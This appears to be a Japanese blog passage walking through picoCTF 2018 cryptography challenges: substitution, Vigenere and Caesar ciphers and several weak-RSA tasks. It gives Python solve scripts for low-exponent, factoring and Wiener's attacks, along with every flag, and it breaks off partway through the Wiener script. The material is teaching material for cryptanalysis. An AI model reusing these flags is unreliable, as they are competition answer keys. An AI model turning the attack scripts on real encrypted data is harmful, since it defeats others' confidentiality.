最終的な文字列は以下のようになります．
------------------------------------------------------------------------------- CONGRATS HERE IS YOUR FLAG - SUBSTITUTION_CIPHERS_ARE_SOLVABLE_FGNVVGNDMS ------------------------------------------------------------------------------- IN A VILLAGE OF LA MANCHA, THE NAME OF WHICH I HAVE NO DESIRE TO CALL TO MIND, THERE LIVED NOT LONG SINCE ONE OF THOSE GENTLEMEN THAT KEEP A LANCE IN THE LANCE-RACK, AN OLD BUCKLER, A LEAN HACK, AND A GREYHOUND FOR COURSING. AN OLLA OF RATHER MORE BEEF THAN MUTTON, A SALAD ON MOST NIGHTS, SCRAPS ON SATURDAYS, LENTILS ON FRIDAYS, AND A PIGEON OR SO EXTRA ON SUNDAYS, MADE AWAY WITH THREE-QUARTERS OF HIS INCOME. THE REST OF IT WENT IN A DOUBLET OF FINE CLOTH AND VELVET BREECHES AND SHOES TO MATCH FOR HOLIDAYS, WHILE ON WEEK-DAYS HE MADE A BRAVE FIGURE IN HIS BEST HOMESPUN. HE HAD IN HIS HOUSE A HOUSEKEEPER PAST FORTY, A NIECE UNDER TWENTY, AND A LAD FOR THE FIELD AND MARKET-PLACE, WHO USED TO SADDLE THE HACK AS WELL AS HANDLE THE BILL-HOOK. THE AGE OF THIS GENTLEMAN OF OURS WAS BORDERING ON FIFTY; HE WAS OF A HARDY HABIT, SPARE, GAUNT-FEATURED, A VERY EARLY RISER AND A GREAT SPORTSMAN. THEY WILL HAVE IT HIS SURNAME WAS QUIXADA OR QUESADA (FOR HERE THERE IS SOME DIFFERENCE OF OPINION AMONG THE AUTHORS WHO WRITE ON THE SUBJECT), ALTHOUGH FROM REASONABLE CONJECTURES IT SEEMS PLAIN THAT HE WAS CALLED UEXANA. THIS, HOWEVER, IS OF BUT LITTLE IMPORTANCE TO OUR TALE; IT WILL BE ENOUGH NOT TO STRAY A HAIR'S BREADTH FROM THE TRUTH IN THE TELLING OF IT. YOU MUST KNOW, THEN, THAT THE ABOVE-NAMED GENTLEMAN WHENEVER HE WAS AT LEISURE (WHICH WAS MOSTLY ALL THE YEAR ROUND) GAVE HIMSELF UP TO READING BOOKS OF CHIVALRY WITH SUCH ARDOUR AND AVIDITY THAT HE ALMOST ENTIRELY NEGLECTED THE PURSUIT OF HIS FIELD-SPORTS, AND EVEN THE MANAGEMENT OF HIS PROPERTY; AND TO SUCH A PITCH DID HIS EAGERNESS AND INFATUATION GO THAT HE SOLD MANY AN ACRE OF TILLAGELAND TO BUY BOOKS OF CHIVALRY TO READ, AND BROUGHT HOME AS MANY OF THEM AS HE COULD GET. BUT OF ALL THERE WERE NONE HE LIKED SO WELL AS THOSE OF THE FAMOUS FELICIANO DE SILVA'S COMPOSITION, FOR THEIR LUCIDITY OF STYLE AND COMPLICATED CONCEITS WERE AS PEARLS IN HIS SIGHT, PARTICULARLY WHEN IN HIS READING HE CAME UPON COURTSHIPS AND CARTELS, WHERE HE OFTEN FOUND PASSAGES LIKE "THE REASON OF THE UNREASON WITH WHICH MY REASON IS AFFLICTED SO WEAKENS MY REASON THAT WITH REASON I MURMUR AT YOUR BEAUTY;" OR AGAIN, "THE HIGH HEAVENS, THAT OF YOUR DIVINITY DIVINELY FORTIFY YOU WITH THE STARS, RENDER YOU DESERVING OF THE DESERT YOUR GREATNESS DESERVES." OVER CONCEITS OF THIS SORT THE POOR GENTLEMAN LOST HIS WITS, AND USED TO LIE AWAKE STRIVING TO UNDERSTAND THEM AND WORM THE MEANING OUT OF THEM; WHAT ARISTOTLE HIMSELF COULD NOT HAVE MADE OUT OR EXTRACTED HAD HE COME TO LIFE AGAIN FOR THAT SPECIAL PURPOSE. HE WAS NOT AT ALL EASY ABOUT THE WOUNDS WHICH DON BELIANIS GAVE AND TOOK, BECAUSE IT SEEMED TO HIM THAT, GREAT AS WERE THE SURGEONS WHO HAD CURED HIM, HE MUST HAVE HAD HIS FACE AND BODY COVERED ALL OVER WITH SEAMS AND SCARS. HE COMMENDED, HOWEVER, THE AUTHOR'S WAY OF ENDING HIS BOOK WITH THE PROMISE OF THAT INTERMINABLE ADVENTURE, AND MANY A TIME WAS HE TEMPTED TO TAKE UP HIS PEN AND FINISH IT PROPERLY AS IS THERE PROPOSED, WHICH NO DOUBT HE WOULD HAVE DONE, AND MADE A SUCCESSFUL PIECE OF WORK OF IT TOO, HAD NOT GREATER AND MORE ABSORBING THOUGHTS PREVENTED HIM.
picoCTF{substitution_ciphers_are_solvable_fgnvvgndms}
人力でも解けますがquipqiup - cryptoquip and cryptogram solverなどのサイトであたりをつけてから解いたほうが速く解けます．
blaise's cipher - Points: 200
My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc
2018shell1.picoctf.com 18981.
アプローチ：ヴィジュネル暗号
Encrypted message:
Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx.
Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce.
Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_095glcih}
Ehk Atgksprk htpnjc ggnyej f cevzeaznzn ltc bknyg kcnevytotfwle xerusr. Nuypd gzehuw lnj rltnjxaznnigs Nhgwwey Qftcnogk Izdmxzn (Rjhiy Hlrxtwl) ifwlki ehk Atgksprk htpnjc utgcegplbrj tn nnd 1868 pojne "Zmp Arusahje Cousex" ny a imtljwpn'y rlggetnk. Ny 1917, Sinpnznqii Fxexnnat ipsiwtbki ehk Atgksprk htpnjc ay "nxpuxdihqp ol ycatxwaznzn". Zmts xjauzfeius hay szt jjdexapd. Imlrrjd Bggmamj ts qszwt yz hgap bxtvet f gaxnlnz tq tnj nivmpr gx paxqj ay 1854; mzwkapr, nj oijs'e pagwiym siy bzrq. Plsoxvi kseixjwy hwzkk yse inahkw lnj ufbrndhki ehk ypcnstqaj tn zmp 19tn hpnzzcy. Kapn hjqoxj ehox, ehuzrh, ytxe yptlrjo cxdatgsllexes itflj tncgxtotfwle gcegp ehk htpnjc it yse 16zm netyfre.
Hcyvyzgxfahoh dloip raqp uyjo ay f narhflgytot ftd hd ehk Xhiyx Lrsd mezbpet 1914 fyd 1940.
Zmp Volpnkwp cousex nd soralk jyoals tu gp a lnplj htpnjc il ne iy zdej ny cusuutheius hizm nivmpr jndky. Yse Ityfkiprgyp Szfeey tq Asjciif, qox jiasuwe, axpd g gcayx nivmpr jndk zt tmvqpmkse tnj Gimjyexj nivmpr jzcitl ehk Fxexnnat Htvoq Hax. Yse Ityfkiprghj's sjdsglps cjce lfc fxtx skhcez fyd zmp Utnzn xjrurfcle hcaippd zmpix rpsyfrey. Ysruzrhuze tnj hax, yse Ityfkiprgyp lkfoexxsiv ucisfcird cernpd auzn zmcek ppy vmcayjd, "Mgsnhkxeex Gwulk", "Nosuwezj Giiyzre" fyd, gx ehk blr ifxe zt l crtde, "Itxe Xjerogftoty".
Goqmexy Gexslm zwtej yz rkulix yse hwzkks nivmpr (iwpaznyg zmp Vkwyas–Atgksprk htpnjc it 1918), gft, tt xazypr cmlt nj oij, yse inahkw hay xeirq gursprggwe zt nreueatfwyynd. Vkwyas'x hoxp, socjgex, jgetyfarqj lki eo zmp otj-eisj aaj, f ehktceznnarqj utgcegplbrj nivmpr.
blaise's cipherはVigenere Cipherのことなので
Vigenere Solverを使います
The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets.
What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure.
Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}
The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century.
Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940.
The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution".
Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.
サイトの詳細情報からkeyはflagということも分かります(便利)．
picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}
hertz 2 - Points: 200
This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc
2018shell1.picoctf.com 59771.
アプローチ：換字式暗号
Big ljayn pevht fvs djqrx voge big mwzu cvk. A ywt'b pgmagog biax ax xjyi wt gwxu revpmgq at Rayv. Ab'x wmqvxb wx af A xvmogc w revpmgq wmegwcu! Vnwu, fatg. Igeg'x big fmwk: rayvYBF{xjpxbabjbavt_yarigex_weg_bvv_gwxu_xayqabjymm}
換字式暗号っぽいのでquipqiupを使います(文量が少なく人力は難しそうなので)．
The quick bro?n fo? ?umps over the la?y dog. I can't believe this is such an easy problem in Pico. It's almost as if I solved a problem already! Okay, fine. Here's the flag: picoCTF{substitution_ciphers_are_too_easy_sicmitucll}
picoCTF{substitution_ciphers_are_too_easy_sicmitucll}
Safe RSA - Points: 250
Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..
N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e: 3 ciphertext (c): 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773
アプローチ：Low Public Exponent Attack
eがとても小さいのでLow Public Exponent Attackが使えそうです．
Low Public Exponent Attackはeが小さいとき，nのe乗根以下の平文mについては単純に暗号文cのe乗根を取れば求めることができるというものです．
https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Low_public_exponent_attack
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs def root_e(c, e, n): bound = gmpy.root(n, e)[0] m = gmpy.root(c, e)[0] return m, bound if __name__ == '__main__': n = 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e = 3 c = 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773 m, bound = root_e(c, e, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
caesar cipher 2 - Points: 250
Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_2_d9c42f8026f320079f3d4fcbaa410615 on the shell server.
PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]
アプローチ：ASCIIテーブル
messageを見るとASCIIテーブル上で32ずれてるっぽいことが分かります(PICOや[などから)
適当に変換スクリプトを書きます．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- message = 'PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]' ans = [chr(ord(x) + 32) for x in message] print(''.join(ans))
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
rsa-madlibs - Points: 250
We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc
2018shell1.picoctf.com 40440
アプローチ：RSA関連知識
ncするとRSAに関する計算問題がでるのでそれに答えていきます．
> nc 2018shell1.picoctf.com 40440 0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307dL <type 'long'> Hello, Welcome to RSA Madlibs Keeping young children entertained, since, well, nev3r Tell us how to fill in the blanks, or if it's even possible to do so Everything, input and output, is decimal, not hex #### NEW MADLIB #### q : 93187 p : 94603 ##### WE'RE GONNA NEED THE FOLLOWING #### n IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### n: 8815769761 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### p : 81203 n : 6315400919 ##### WE'RE GONNA NEED THE FOLLOWING #### q IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### q: 77773 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### e : 3 n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913 ##### WE'RE GONNA NEED THE FOLLOWING #### q p IS THIS POSSIBLE and FEASIBLE? (Y/N):n YAHHH! That one was a great madlib!!! #### NEW MADLIB #### q : 78203 p : 79999 ##### WE'RE GONNA NEED THE FOLLOWING #### totient(n) IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### totient(n): 6256003596 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### plaintext : 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748 e : 3 n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 ##### WE'RE GONNA NEED THE FOLLOWING #### ciphertext IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### ciphertext: 26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 e : 3 n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359 ##### WE'RE GONNA NEED THE FOLLOWING #### plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N):n YAHHH! That one was a great madlib!!! #### NEW MADLIB #### q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e : 65537 ##### WE'RE GONNA NEED THE FOLLOWING #### d IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext : 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598 e : 65537 n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 ##### WE'RE GONNA NEED THE FOLLOWING #### plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### plaintext: 240109877286251840533272915662757983981706320845661471802585807564915966910384301849411666983334013 YAHHH! That one was a great madlib!!! If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)
最終問題の答えをasciiに変換するとflagになります．
picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}
計算に使用したスクリプト
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs def solve1(): message = 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748 e = 3 n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 c = pow(message, e, n) print(c) def solve2(): q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e = 65537 l = gmpy.lcm(p-1, q-1) gcd, u, v = gmpy.gcdext(e, l) print(u) # m = pow(C, u, N) # print(m) # print(codecs.decode(('%x'%m),'hex_codec')) def solve3(): p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext = 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598 e = 65537 n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 q = n//p l = gmpy.lcm(p-1, q-1) gcd, u, v = gmpy.gcdext(e, l) while u < 0: u += l m = pow(ciphertext, u, n) print(m) print(codecs.decode(('%x'%m),'hex_codec')) if __name__ == '__main__': # solve1() # solve2() solve3()
Super Safe RSA - Points: 350
Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc
2018shell1.picoctf.com 1317
アプローチ：RSA is Power (SECCON BeginnersCTF 2018)
> nc 2018shell1.picoctf.com 1317 c: 1436146412347957534046107225780192646103940843567589941225217059483280549059276 n: 24116535407257621724503452906516818899123446034927680189195610304035939968688297 e: 65537
ncすると80桁(264bit)のnが降ってきます．
この程度の桁数ならラップトップでも十分素因数分解できます．
しかし，弱いアルゴリズムでは無理なのでmsieveを利用します．
> ./msieve -q -v 24116535407257621724503452906516818899123446034927680189195610304035939968688297 Msieve v. 1.53 (SVN Unversioned directory) Wed Oct 3 02:10:19 2018 random seeds: e7218537 e13b5f3e factoring 24116535407257621724503452906516818899123446034927680189195610304035939968688297 (80 digits) no P-1/P+1/ECM available, skipping commencing quadratic sieve (80-digit input) using multiplier of 1 using generic 32kb sieve core sieve interval: 12 blocks of size 32768 processing polynomials in batches of 17 using a sieve bound of 1224919 (47285 primes) using large prime bound of 122491900 (26 bits) using trial factoring cutoff of 27 bits polynomial 'A' values have 10 factors sieving in progress (press Ctrl-C to pause) 47465 relations (24001 full + 23464 combined from 261533 partial), need 47381 47465 relations (24001 full + 23464 combined from 261533 partial), need 47381 sieving complete, commencing postprocessing begin with 285534 relations reduce to 68099 relations in 2 passes attempting to read 68099 relations recovered 68099 relations recovered 57930 polynomials attempting to build 47465 cycles found 47465 cycles in 1 passes distribution of cycle lengths: length 1 : 24001 length 2 : 23464 largest cycle: 2 relations matrix is 47285 x 47465 (6.8 MB) with weight 1404341 (29.59/col) sparse part has weight 1404341 (29.59/col) filtering completed in 3 passes matrix is 33992 x 34056 (5.3 MB) with weight 1118501 (32.84/col) sparse part has weight 1118501 (32.84/col) saving the first 48 matrix rows for later matrix includes 64 packed rows matrix is 33944 x 34056 (3.4 MB) with weight 802210 (23.56/col) sparse part has weight 542953 (15.94/col) using block size 8192 and superblock size 786432 for processor cache size 8192 kB commencing Lanczos iteration memory use: 2.0 MB lanczos halted after 538 iterations (dim = 33944) recovered 17 nontrivial dependencies p39 factor: 160245102178232096945963624180811161801 p42 factor: 150497800428459168557826076453135585513697 elapsed time 00:03:51
4分弱待つと素数がふってくるので後はRSAを普通に解きます．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs if __name__ == '__main__': n = 24116535407257621724503452906516818899123446034927680189195610304035939968688297 p = 160245102178232096945963624180811161801 q = 150497800428459168557826076453135585513697 e = 65537 c = 1436146412347957534046107225780192646103940843567589941225217059483280549059276 l = gmpy.lcm(p-1, q-1) gcd, u, v = gmpy.gcdext(e, l) while u < 0: u += l m = pow(c, u, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
> python -i solve.py
198614235373674103789367498165241205414198384663776181046663386461644141181
b'picoCTF{us3_l@rg3r_pr1m3$_0622}'
picoCTF{us3_l@rg3r_pr1m3$_0622}
ncする度に異なるnとcが降ってくるのはfactordb.com対策かな？
Super Safe RSA 2 - Points: 425
Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc
2018shell1.picoctf.com 47295
アプローチ：Wiener's Attack
ncすると
> nc 2018shell1.picoctf.com 47295 c: 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228 n: 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421 e: 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429
eが異常に大きいですね．
なので，Wiener's Attackが使えそうです
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs def continued_fraction(n, d): cf = [] while d: q = n // d cf.append(q) n, d = d, n-d*q return cf def convergents_of_contfrac(cf): n0, n1 = cf[0], cf[0]*cf[1]+1 d0, d1 = 1, cf[1] yield (n0, d0) yield (n1, d1) for i in range(2, len(cf)): n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0 yield (n2, d2) n0, n1 = n1, n2 d0, d1 = d1, d2 def wieners_attack(e, n): cf = continued_fraction(e, n) convergents = convergents_of_contfrac(cf) for k, d in convergents: if k == 0: continue phi, rem = divmod(e*d-1, k) if rem != 0: continue s = n - phi + 1 # check if x^2 - s*x + n = 0 has integer roots D = s*s - 4*n if D > 0 and gmpy.is_square(D): return d if __name__ == '__main__': c = 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228 n = 